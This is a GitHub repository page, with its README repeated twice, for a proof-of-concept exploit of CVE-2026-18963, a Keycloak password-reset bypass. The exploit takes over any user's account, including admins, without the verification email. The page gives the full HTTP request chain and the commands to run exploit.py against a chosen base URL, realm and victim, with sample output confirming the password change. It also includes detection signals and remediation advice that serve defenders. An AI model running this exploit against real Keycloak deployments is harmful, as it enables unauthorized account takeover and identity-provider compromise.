Red-Darkin/CVE-2026-18963-keycloak

CVE-2026-18963

19

stars

6

commits

Python

primary language

Aug 25, 2026

updated

README

CVE-2026-18963 — Keycloak Reset-Credentials Bypass → Account Takeover

Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email.

CVE CVSS CWE License


⚠️ Disclaimer — Ethical use only

This proof of concept is published strictly for educational purposes, defensive research, detection engineering, and authorized security testing.

  • Use it only against systems you own or have explicit written authorization to test. Accessing or modifying systems without permission is illegal and unethical.
  • This is a defensive/educational resource meant to help teams understand, detect, and remediate CVE-2026-18963 — not to attack third parties.
  • The author (red-darkin) assumes NO responsibility or liability for any misuse, damage, or illegal activity carried out with this code. You are solely responsible for how you use it and for complying with all applicable laws.
  • By downloading or using this repository you accept these terms. If you do not agree, do not use it.

See DISCLAIMER.md for the full statement.


Summary

CVECVE-2026-18963
SeverityCritical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
WeaknessCWE-640 — Weak Password Recovery Mechanism
AffectedKeycloak < 26.7.2 (upstream). Also RH build streams fixed via 26.6.6 / 26.4.15 bundles
FixedKeycloak 26.7.2 (PR #51844)
PreconditionsForgot password (reset credentials) enabled on the realm — the default
ImpactFull account takeover of any user (including realm admins) → IdP compromise + lateral SSO access

How it works — two bugs chained

The password-reset (reset-credentials) flow normally forces you to click a link emailed to the account owner before you can set a new password. Two defects let an attacker skip that check entirely:

  1. Unscoped "Try Another Way" state — the authenticator-selector handler stores the note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" not scoped to the execution ID. Re-entering the flow leaves the authentication session in a confused/stale state.
  2. Missing token check in the email stepResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID (i.e. without confirming the emailed action token was actually consumed).

Chaining them advances the authentication session straight to the UPDATE_PASSWORD step for an arbitrary user, no email required.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

See docs/ROOTCAUSE.md for the annotated patch diff.


Quick start (lab)

You need Docker and Python 3 with requests.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Expected tail:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Then log in as victim / Pwned-2026! to confirm the takeover.

Negative control (patched)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Usage

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Every HTTP response is written to ./dump/ for inspection.


Proxying through Burp

Keycloak already uses 8080, so point Burp's listener at another port (e.g. 8081):

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Raw request chain for Burp Repeater is in requests/burp-chain.txt.


Detection

Look for a password change that was not preceded by email verification in the same authentication session:

  • An UPDATE_PASSWORD event without a preceding VERIFY_EMAIL / EXECUTE_ACTION_TOKEN for that session.
  • Bursts of reset-credentials requests carrying tryAnotherWay=on.
  • Multiple re-entries of login-actions/reset-credentials for the same tab_id.

Remediation

  • Upgrade to Keycloak 26.7.2 (or the fixed RH build stream) — top priority.
  • Temporary mitigation: Realm settings → Login → Forgot password = Off.
  • Post-patch: rotate admin credentials, force re-login after resets, and alert on the detection signals above.

References

Demo

CVE-2026-18963 PoC

Credits

  • red-darkin — lab reproduction, PoC, and write-up.
  • Claude (Anthropic) — research and PoC development assistance.

Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.

License

MIT © red-darkin — for educational and authorized testing use only.

Contributors

Red-Darkin

6 commits

Red-Darkin/CVE-2026-18963-keycloak

CVE-2026-18963

19

stars

6

commits

Python

primary language

Aug 25, 2026

updated

README

CVE-2026-18963 — Keycloak Reset-Credentials Bypass → Account Takeover

Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email.

CVE CVSS CWE License


⚠️ Disclaimer — Ethical use only

This proof of concept is published strictly for educational purposes, defensive research, detection engineering, and authorized security testing.

  • Use it only against systems you own or have explicit written authorization to test. Accessing or modifying systems without permission is illegal and unethical.
  • This is a defensive/educational resource meant to help teams understand, detect, and remediate CVE-2026-18963 — not to attack third parties.
  • The author (red-darkin) assumes NO responsibility or liability for any misuse, damage, or illegal activity carried out with this code. You are solely responsible for how you use it and for complying with all applicable laws.
  • By downloading or using this repository you accept these terms. If you do not agree, do not use it.

See DISCLAIMER.md for the full statement.


Summary

CVECVE-2026-18963
SeverityCritical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
WeaknessCWE-640 — Weak Password Recovery Mechanism
AffectedKeycloak < 26.7.2 (upstream). Also RH build streams fixed via 26.6.6 / 26.4.15 bundles
FixedKeycloak 26.7.2 (PR #51844)
PreconditionsForgot password (reset credentials) enabled on the realm — the default
ImpactFull account takeover of any user (including realm admins) → IdP compromise + lateral SSO access

How it works — two bugs chained

The password-reset (reset-credentials) flow normally forces you to click a link emailed to the account owner before you can set a new password. Two defects let an attacker skip that check entirely:

  1. Unscoped "Try Another Way" state — the authenticator-selector handler stores the note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" not scoped to the execution ID. Re-entering the flow leaves the authentication session in a confused/stale state.
  2. Missing token check in the email stepResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID (i.e. without confirming the emailed action token was actually consumed).

Chaining them advances the authentication session straight to the UPDATE_PASSWORD step for an arbitrary user, no email required.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

See docs/ROOTCAUSE.md for the annotated patch diff.


Quick start (lab)

You need Docker and Python 3 with requests.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Expected tail:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Then log in as victim / Pwned-2026! to confirm the takeover.

Negative control (patched)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Usage

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Every HTTP response is written to ./dump/ for inspection.


Proxying through Burp

Keycloak already uses 8080, so point Burp's listener at another port (e.g. 8081):

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Raw request chain for Burp Repeater is in requests/burp-chain.txt.


Detection

Look for a password change that was not preceded by email verification in the same authentication session:

  • An UPDATE_PASSWORD event without a preceding VERIFY_EMAIL / EXECUTE_ACTION_TOKEN for that session.
  • Bursts of reset-credentials requests carrying tryAnotherWay=on.
  • Multiple re-entries of login-actions/reset-credentials for the same tab_id.

Remediation

  • Upgrade to Keycloak 26.7.2 (or the fixed RH build stream) — top priority.
  • Temporary mitigation: Realm settings → Login → Forgot password = Off.
  • Post-patch: rotate admin credentials, force re-login after resets, and alert on the detection signals above.

References

Demo

CVE-2026-18963 PoC

Credits

  • red-darkin — lab reproduction, PoC, and write-up.
  • Claude (Anthropic) — research and PoC development assistance.

Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.

License

MIT © red-darkin — for educational and authorized testing use only.

Contributors

Red-Darkin

6 commits

Languages

Python

78.1%

Shell

21.9%